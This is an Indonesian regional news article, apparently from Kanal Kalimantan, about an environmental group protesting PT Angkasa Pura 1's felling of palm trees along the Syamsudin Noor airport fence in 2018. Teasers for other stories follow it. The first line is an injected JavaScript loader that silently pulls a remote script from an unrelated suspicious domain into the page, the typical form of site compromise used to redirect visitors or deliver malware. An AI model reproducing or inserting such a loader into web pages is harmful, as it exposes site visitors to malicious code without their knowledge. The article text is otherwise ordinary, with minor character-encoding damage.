(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJABARU, Masyarakat Peduli Pohon (MPP) Banjarmasin kecewa dan sesalkan aksi penebangan pohon di sepanjang jalur hijau pagar Bandara Syamsudin Noor. Aksi main tebang dilakukan PT Angkasa Pura 1 Bandara Syamsudin Noor pada Senin (22/10) dan Selasa (23/10).
Arifin, pegiat lingkungan dari MPP Banjarmasin mengatakan, mulai tahun 2011 dilaksanakan penyemaian 5000 bibit pohon palem dalam rangka mempercantik lingkungan alam karena pohon palem punyai nilai estetika lingkungan yang tinggi.
Kemudian dilanjutkan pada tahun 2012 penanaman deretan pohon palem berjumlah 800 batang sepanjang 2 Km di bagian luar pagar Bandara Syamsudin Noor.
“Akibat kemarau panjang sebagian besar anak pohonnya mati, pohon palem yang sudah besar tinggal sekitar 150 pohon, namun hari Senin 22 Oktober 2018 oleh Angkasa Pura Bandara Syamsudin Noor dilaksanakan penebangan18 batang pohon itu,†ujar Ariffin.
Tak hanya itu saja, penebangan pohon dilanjutkan pada Selasa 23 Oktober sebanyak 18 pohon kembali ditebang mati.
Saat MPP Banjamasn mencoba mengkonfirmasi langsung ke Airport Security And Safety Departement Head, pihak MPP Banjamasin diterima Abdi Purnomo. Dan membenarkan penebangan pohon tersebut dalam rangka keamanan penerbangan.
Melalui surat resmi, PT Angkasa Pura mengirimkan ke Dinas Perumahan dan Permukiman Kota Banjarbaru perihal permohonan relokasi pohon palem tersebut.
“Namun di lapangan, pohon palem itu tidak direlokasi tapi ditebang mati. Ini preseden buruk bagi Angkasa Pura yang tidak ramah lingkungan. Sungguh bertolak belakangan dengan program nasional gerakan penanaman 1 miliar pohon,†ujar Ariffin.
MPP Banjarmasin menyayangkan penebangan pohon palem tersebut, padahal ditanam di luar pagar bandara.
“Kenapa harus ditebang, kenapa tidak direlokasi, padahal ada bangunan bertingkat dua, minimarket yang persis berada di tepian pagar Bandara tidak ditertibkan juga bahkan ada juga deretan pohon palem dan bintaro yang ditanam persis di tepian pagar dan daerah lampu landing yang justru ditanam dan dipelihara oleh AP. Kalau demi keselamatan penerbangan maka harus ditertibkan juga,†beber pegiat lingkungan ini.
Kini masih tersisa sekitar 100 pohon palem yang berada di seberang jalan asrama haji Banjarmasin.
“Kami menuntut pertanggungjawaban Angkasa Pura, agar memberikan penjelasan kenapa rencana semula pohon palem tersebut disepakati antara AP dan Pemkot Banjarbaru untuk direlokasi tapi kenyataannya ditebang mati,†pungkasnya. (bie)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.